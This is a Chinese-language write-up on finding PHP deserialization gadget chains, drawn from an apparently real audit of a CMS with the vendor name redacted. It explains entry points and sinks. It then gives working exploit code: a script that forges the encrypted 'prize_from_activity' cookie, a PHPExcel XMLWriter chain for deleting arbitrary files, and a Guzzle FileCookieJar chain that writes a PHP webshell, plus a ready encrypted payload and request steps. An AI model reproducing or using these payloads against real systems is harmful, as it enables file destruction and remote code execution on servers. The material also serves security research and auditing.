0x01 前言

  1. 以前因为项目需要,挖到的时候也懒的发,现在回头一看,好像自己的安全拼图少了一块,所以就补上吧 :)

0x02 旅途过程

0x02.1 寻找起点

  1. 就像出去旅游看风景一样,挑选一个合适的城市,会让旅途更加的舒服.
  2. 所以,起点的寻找是一个非常重要的点,一个好的起点,可以让挖链的难度,成几何下降
  3. 序列化简单点的说: 序列化是将对象或变量转换为可保存或可传输的字符串的过程, 但不会序列化类的方法
  4. 所以想要反序列化达成一些目的的话,就必须配合类方法的执行,串成一个链
  5. 而对于起点来说,我们需要找到可以在反序列化时就可以自动调用的方法
  6. php里面常见的可以自动调用的方法便是魔术方法了,魔术方法很多就不一一介绍
  7. 如果想知道各个魔术方法的使用可以查看该链接进行学习:
  8. https://www.yuque.com/pmiaowu/web_security_1/nxl8il
  9. 目前有两个魔术方法常常被用于反序列化的入口使用:
  10. __destruct __wakeup
  11. 因此如果要找一个反序列化入口点,那么这两个方法就是最好的例子了
  12. __destruct(): 类的析构函数-在销毁一个类之前执行该方法
  13. __wakeup(): 执行unserialize()时,会先调用该魔术方法
  14. 一般来说 __destruct() 作为起点,更好用一些!!

0x02.2 挑选跳板

  1. 而跳板就类似于旅途中做的攻略,选择要看的风景.
  2. 因此,一个好的跳板,可以让我们在挖掘php反序列化中拥有事半功倍的效果
  3. 而我认为所谓的跳板,就是在类方法与类方法、类变量与类变量、类方法与类变量之间相互的配合与跳跃
  4. 最终达到我们想要的一个结果的过程具现化
  5. 例如一: 假如有个对象里面有个__isset()魔术方法
  6. 而在反序列化时有代码执行了isset()或empty(),并且其参数可控
  7. 那么将isset()或empty()赋值为该对象即可自动调用__isset()魔术方法,这就可以当一个跳板
  8. 例如二: 假如有个对象里面有个__toString()魔术方法
  9. 而我们找到了一个字符串函数,例如trim(),并且其参数可控
  10. 那么将trim()赋值为该对象即可自动调用__toString()魔术方法,这也可以当一个跳板
  11. 还有常见的 $test()或是call_user_func($this->test),其中$test$this->test可控
  12. 这种只能调用没有参数的函数的方法,除了调用phpinfo(),也是可以进阶利用的
  13. 例如,将变量赋值为 [(new test), "a"] 这样的一个数组
  14. 即可调用test类中的a公共方法,这又是一个不错的跳板了
  15. 在然后就是new $test1($test2),其中$test1$test2可控,那么这种样式的,也可以利用
  16. 拿来调用__construct()魔术方法,也是一个不错的跳板

0x02.3 行程终点

  1. 旅程的终点就向是旅游以后拍摄的美景,是我们踏上旅途的意义.
  2. 最后,我认为的终点就是两种类别
  3. 1. 动态调用参数可控
  4. 2. 危险函数参数可控
  5. 动态调用就类似于写后面时常见的
  6. $this->a($this->b),($this->a)($this->b),new $this->a($this->b)->$c
  7. 危险函数的话,就需要根据需求找了
  8. 例如想要任意文件删除就找unlink
  9. 想要rce就找call_user_func,call_user_func_array这种函数
  10. 想要任意文件写就找file_put_content这种函数

0x03 案例

  1. 这两个案例是源自于一次工作代码审计的需要挖掘的,所以会有部分信息会打码
  2. 实际漏洞利用也会放当时在本地的利用截图,将就看看吧~~~

0x03.1 反序列化入口挖掘

  1. 正常文件getshell的路上都被堵死了,所以就想找个反序列化尝试进行getshell
  2. 经过查找,还真找到了一个反序列化入口
  1. 源码路径: ./源码/basichouse/controller/prize.class.php
  2. 换成路由那就是:
  3. GET请求 http://xxx.com/?site=basichouse&ctl=prize&act=add
  4. Cookie: prize_from_activity=序列化数据
  5. 这样即可触发

1.png

  1. 源码路径: ./源码/framework/lib/cookie.class.php
  2. 可以看到要跟进一个方法, lib_cookies_encrypt::get_method(ENCRYPT_KEY, 'aes');

2.png

  1. 注: 打码了一下,避免厂商信息泄漏
  2. 查询一下 ENCRYPT_KEY = md5('xxxxxxxxxxx') = 02xxx8f124adxxx5adxxx5a0xxxxfdcf

3.png

  1. 然后继续查看一下, lib_cookies_encrypt::get_method 是怎么操作
  2. 源码路径: ./源码/framework/lib/cookies/encrypt.class.php
  3. 看了一下也就是说实际是:
  4. new lib_cookies_encryptaes($key);
  5. 如下图

4.png

  1. 那就继续查找 lib_cookies_encryptaes
  2. 源码路径: ./源码/framework/lib/cookies/encryptaes.class.php

4.png

  1. 那就继续查找 lib_cookies_encryptaes
  2. 源码路径: ./源码/framework/lib/cookies/encryptaes.class.php

5.png

  1. 源码路径: ./源码/framework/lib/cookies/aes256.class.php
  2. 看到这里就简单了,只需要把这个加密解密的方法直接抽出来就可以在本地加密数据,在目标上复现拉

6.png

0x03.2 反序列化入口加解密小脚本

  1. // 序列化数据加解密小脚本
  2. // 文件名称: a.php
  3. <?php
  4. //cookies加密salt
  5. define('ENCRYPT_KEY', md5('xxxxxxxxxxx'));
  6. class lib_cookie
  7. {
  8. public static function setcookie($name, $value = null, $expire = null, $path = null, $domain = null, $secure = null, $httponly = null)
  9. {
  10. if(!empty($value)) {
  11. $value=serialize($value);
  12. $encrypt = lib_cookies_encrypt::get_method( ENCRYPT_KEY, 'aes' );
  13. $value = $encrypt->encrypt($value);
  14. echo '序列化数据: ' . urlencode($value) . '<br/>';
  15. }
  16. return setcookie($name, $value, $expire, $path, $domain, $secure, $httponly);
  17. }
  18. public static function getcookie($name)
  19. {
  20. if(!empty($_COOKIE[$name]))
  21. {
  22. $encrypt = lib_cookies_encrypt::get_method( ENCRYPT_KEY, 'aes' );
  23. $value=$encrypt->decrypt($_COOKIE[$name]);
  24. return unserialize($value);
  25. }
  26. return false;
  27. }
  28. }
  29. //加密类型接口,加密类型,都基于此类扩展
  30. abstract class lib_cookies_encrypt
  31. {
  32. static $method = array('aes');
  33. //加密类型.
  34. abstract public function get_name();
  35. //加密方法,返回加密后到密文
  36. abstract public function encrypt($data);
  37. //解密方法,返回解密后到明文
  38. public function decrypt($endata)
  39. {
  40. return $this->decrypt($endata);
  41. }
  42. /**
  43. * @static
  44. * @param string $name
  45. * @param $key
  46. * @return baccarat_cookie_encrypt
  47. */
  48. static public function get_method( $key, $name='aes' )
  49. {
  50. if(in_array($name,self::$method))
  51. {
  52. $classname = 'lib_cookies_encrypt'.$name;
  53. return new $classname($key);
  54. }
  55. else
  56. {
  57. return null;
  58. }
  59. }
  60. }
  61. class lib_cookies_encryptaes extends lib_cookies_encrypt
  62. {
  63. private $aes;
  64. public function __construct($key)
  65. {
  66. $this->aes = new lib_cookies_aes256($key);
  67. }
  68. public function get_name()
  69. {
  70. return "aes";
  71. }
  72. public function encrypt($data)
  73. {
  74. $data = rawurlencode($data);
  75. return base64_encode($this->aes->encrypt($data));
  76. }
  77. public function decrypt($data)
  78. {
  79. return rawurldecode($this->aes->decrypt(base64_decode($data)));
  80. }
  81. }
  82. class lib_cookies_aes256 {
  83. public function __construct($key) {
  84. $this->key = $key;
  85. $this->iv = 'XxxxxxnzxxxxxxxxXxxxxg==';
  86. }
  87. public function encrypt($data) {
  88. $encrypted = openssl_encrypt($data, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, base64_decode($this->iv));
  89. return $encrypted;
  90. }
  91. public function decrypt($encrypted) {
  92. $decrypted = openssl_decrypt($encrypted, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, base64_decode($this->iv));
  93. return $decrypted;
  94. }
  95. }
  96. // 加密测试
  97. $from_type = "1111aa";
  98. $from_activity = "22222aa";
  99. $from_url = "https://baidu.com/aaaaaaaaaaaaa";
  100. $data = $from_type . '|' . $from_activity . '|' . $from_url;
  101. lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);
  102. // 解密测试
  103. $prize_from_activity = lib_cookie::getcookie('prize_from_activity');
  104. var_dump($prize_from_activity);
  105. ?>

7.png

0x03.3 反序列化口子测试

8.png
9.png
10.png

0x03.4 链子-任意文件删除

0x03.4.1 效果测试

本地验证试试

  1. // 任意文件删除-序列化数据
  2. // $_tempFileName = 要删除的文件
  3. // 执行完以后页面就会删除序列化的数据了
  4. class PHPExcel_Shared_XMLWriter extends XMLWriter {
  5. private $_tempFileName = 'C:\Software\phpStudy\PHPTutorial\WWW\1.txt';
  6. }
  7. $data = new PHPExcel_Shared_XMLWriter();
  8. lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);

11.png

  1. 然后把这个序列化的数据
  2. 放到http://www.test123.com/index.php?site=basichouse&ctl=prize&act=add
  3. 接口的Cookieprize_from_activity即可

12.png

0x03.4.2 链子原理

  1. 路径: ./源码/framework/include/PHPExcel/Shared/XMLWriter.php
  2. 打开以后直接查看 __destruct 方法即可,没什么难度可说

13.png

0x03.5 链子-任意文件写入漏洞

0x03.5.1 效果测试

本地验证试试

  1. <?php
  2. namespace GuzzleHttp\Cookie
  3. {
  4. class SetCookie
  5. {
  6. private $data;
  7. public function __construct($data)
  8. {
  9. $this->data = [
  10. 'Expires' => 1,
  11. 'Discard' => false,
  12. 'asdsada' => $data
  13. ];
  14. }
  15. }
  16. class CookieJar
  17. {
  18. private $cookies = [];
  19. private $strictMode;
  20. public function __construct($data)
  21. {
  22. $this->cookies = [new SetCookie($data)];
  23. }
  24. }
  25. class FileCookieJar extends CookieJar
  26. {
  27. private $filename;
  28. private $storeSessionCookies = true;
  29. public function __construct($filename, $data)
  30. {
  31. parent::__construct($data);
  32. $this->filename = $filename;
  33. }
  34. }
  35. }
  36. ?>
<?php
include "./file_payload.php";

// 任意文件写入-序列化数据
$path = 'C:\Software\phpStudy\PHPTutorial\WWW\webshell.php';
$data = '<?php var_dump(`whoami`);?>';
$data = new \GuzzleHttp\Cookie\FileCookieJar($path, $data);

lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);
?>
然后把这个序列化的数据
放到http://www.test123.com/index.php?site=basichouse&ctl=prize&act=add
接口的Cookie的prize_from_activity即可

14.png
15.png
16.png
17.png
18.png

0x03.5.2 链子原理

路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
打开以后直接先查看 __destruct 方法

可以看到 __destruct() 会调用 save() 方法
而save()方法会调用 file_put_contents($filename, $jsonStr)
其中 $filename 这个变量,我们直接就可外部控制
所以如何控制$jsonStr的数据就是要探讨的问题了
从下图可以看到$jsonStr的数据是从一个foreach里面获取的,并且foreach的对象是一个$this

注意:
当foreach的是一个类对象的话, 那么需要这个类需要继承一个Iterator基类
并且添加一个getIterator()方法, 作为迭代器
那么才能进入到foreach循环, 否则foreach就会忽略该类对象
有关迭代器的资料可以看这一篇文章: https://www.php.net/manual/zh/class.iterator.php

而我们这个$this肯定是一个类对象, 那么如何进入foreach就是现在就要解决的问题了
从上面的注意事项我们知道了, $this里面的类对象需要继承到一个Iterator基类
并且添加类对象一个getIterator()方法

如何进入foreach这个问题,我们可以查看foreach循环代码
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
方法: save()
核心代码: CookieJar::shouldPersist

进去以后可以看到这一句代码
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
    $json[] = $cookie->toArray();
}

也就是说并且需要通过 CookieJar::shouldPersist 的验证最终才会让 $jsonStr 有数据

19.png

如何让FileCookieJar.php的save()方法的foreach有数据?
这里我们可以查看一下 CookieJar.php 的 getIterator() 方法
前面说过了当foreach的是一个类对象时那么需要这个类需要继承一个Iterator基类
并且添加一个getIterator()方法, 作为迭代器
那么才能进入到foreach循环, 否则foreach就会忽略该类对象
而这个CookieJar.php刚好符合要求

路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php
方法: getIterator()

里面写的很清楚了,CookieJar类的$cookies会作为迭代器的数据返回回去

如下图:

20.png

这里我们可以查看一下FileCookieJar.php文件的save方法的$this数据
无需在意,内心有个底即可

写文件的序列化数据: 
prize_from_activity=ChFt5xViYmou2DGL5hQqU1gjtGd7mU3re9i53NmTp7zaYiYMb86yuepDoqRBUuNioTWXUtgn5MyIiia0j6o3Q9LcsedX%2F88ADfhtuvRAIOEw1giFiki2T7Qi%2BvRBd8JIFH4ZlZR6%2ByPDCrYdo%2B5%2B7tbgrG0BwymmS8kTh9kH2Bzk8MyM5mOF1QSy1n%2FqIfedBIEZ2w93d0XkJz2eGTm8Tj3EweEYCUu7LvJhaf8ykTRdV6e4wHIKHdDyt8rXve9zMIXYuls%2B6fa7f%2B1HOctTkBg5IuhVmRAYAcRC1g%2BcdOJGWQM0F4DRmsQzT5H3FCo5%2BGKHKPTAfOQnAr2iis4an1FR0evpbZXsKU65uOmngYo93edtNTsKKy8c641IlM4W3%2Bw%2BMykwJNPWL89luYsKARXuH4BcF2rYv5dlN8BOZnwkOIsACwn5zSsG1070KyGp0AsCpJ1GU6apIpBoDHK4bLIj3GsjypGqscSHaa5Maq%2BOVPK%2FjBSPdijK9QM0QhHumqjNwIONHT1Sh2eht5IoSSKNq%2FVMAxcPYdgTrjz4XgtQD2%2BxdhdjPZc4Rhk0%2BoYEEJrKZ02Ghpcn%2FOtONOEUr3uCnZx1vu1KxOIfuBvbBIvuJuIANu8pwTQM1XrliegoI0%2Bl2k%2BfqpR2wCrRYwuqFFtzGuf6snzMFi%2FKr6TdLwHUP8aJGfcjW8dyxH0wqqBxm1tUGKpbWuVzduNXszxDZCdUUD%2FRvj7vYdSQvTP4ldnOyzgcDgnwdlszDM5g68VAlX0QryxJxfm4vNxCcbFaNwPtfBD2DqjLCGw%2F%2BuqEaPN%2FyXeQE7a9L9eqbTNxWqAldFtCkkBznE7DYgHlzigX%2Feno7Hzhyrr92Lssgk5IQDVLBXBColbRXGYMHMY1iPx3e3X27z0T0YAUHPY%2BUklcE4k%2FAEQQWeiB%2FahAfsqoaXP3757bqpS%2Ba9rxPt1D3MNxlEH1%2BTXAVKaM1a0N6ls4xw%3D%3D

21.png
22.png

跟进去CookieJar类的shouldPersist方法
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php
方法: shouldPersist()
如下图显示的核心代码
public static function shouldPersist(
    SetCookie $cookie,
    $allowSessionCookies = false
) {
    if ($cookie->getExpires() || $allowSessionCookies) {
        if (!$cookie->getDiscard()) {
            return true;
        }
    }

    return false;
}

其中 $allowSessionCookies 无视掉,因为可直接构造,不需要脑子
而 $cookie 写的很明显了,需要接收的方式为 SetCookie 对象
并且会调用 $cookie->getExpires() 还有 $cookie->getDiscard()
从下图就可以看到$cookie里面需要有什么,需要一个Expires与Discard
也就是说 $cookie->getExpires() 或是 $allowSessionCookies 一个为 true 即可进入下一步
然后 $cookie->getDiscard() 为 false 即可返回一个 true
所以如何构造这个数组就是下一步要解决的问题了

23.png
24.png
25.png

现在可以开始想办法看看如何构造 SetCookie $cookie 为我们需要的数组了
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php
从上面的截图来看, $cookie->getExpires() 与 $cookie->getDiscard()
调用的都是 SetCookie.php 的 $this->data 里的数据,所以直接查看 $this->data 在哪里修改即可

从下图来看已经很清楚了,在构造函数或是直接修改都可以

26.png

继续回去
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
方法: save()
现在在看看  $json[] = $cookie->toArray(); 要怎么处理才能有数据

跟进去: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php
方法: toArray()
哇哦,是直接返回的 $this->data; 也就是说,直接修改即可

27.png
这样整个逻辑就通了 :)

0x04 小结

挖完以后很开心, 最后面项目打完了才发现, 在phpggc这个项目里面就有记录了, 也行吧...
项目地址: https://github.com/ambionics/phpggc
总的来说,php的反序列化对比java的反序列化好挖不少
php的反序列化链路,我个人感觉就像是在搭积木,只要搭的好就有链
而java的反序列化链路,就想是在刺绣,需要一在的仔细在仔细并且利用好各种的小姿势,最终成为一个链

总的来说自己还是太菜了,emmmmm
继续学习吧

0x05 参考链接

https://xz.aliyun.com/t/8082
感谢前辈写的良好的参考文章 :)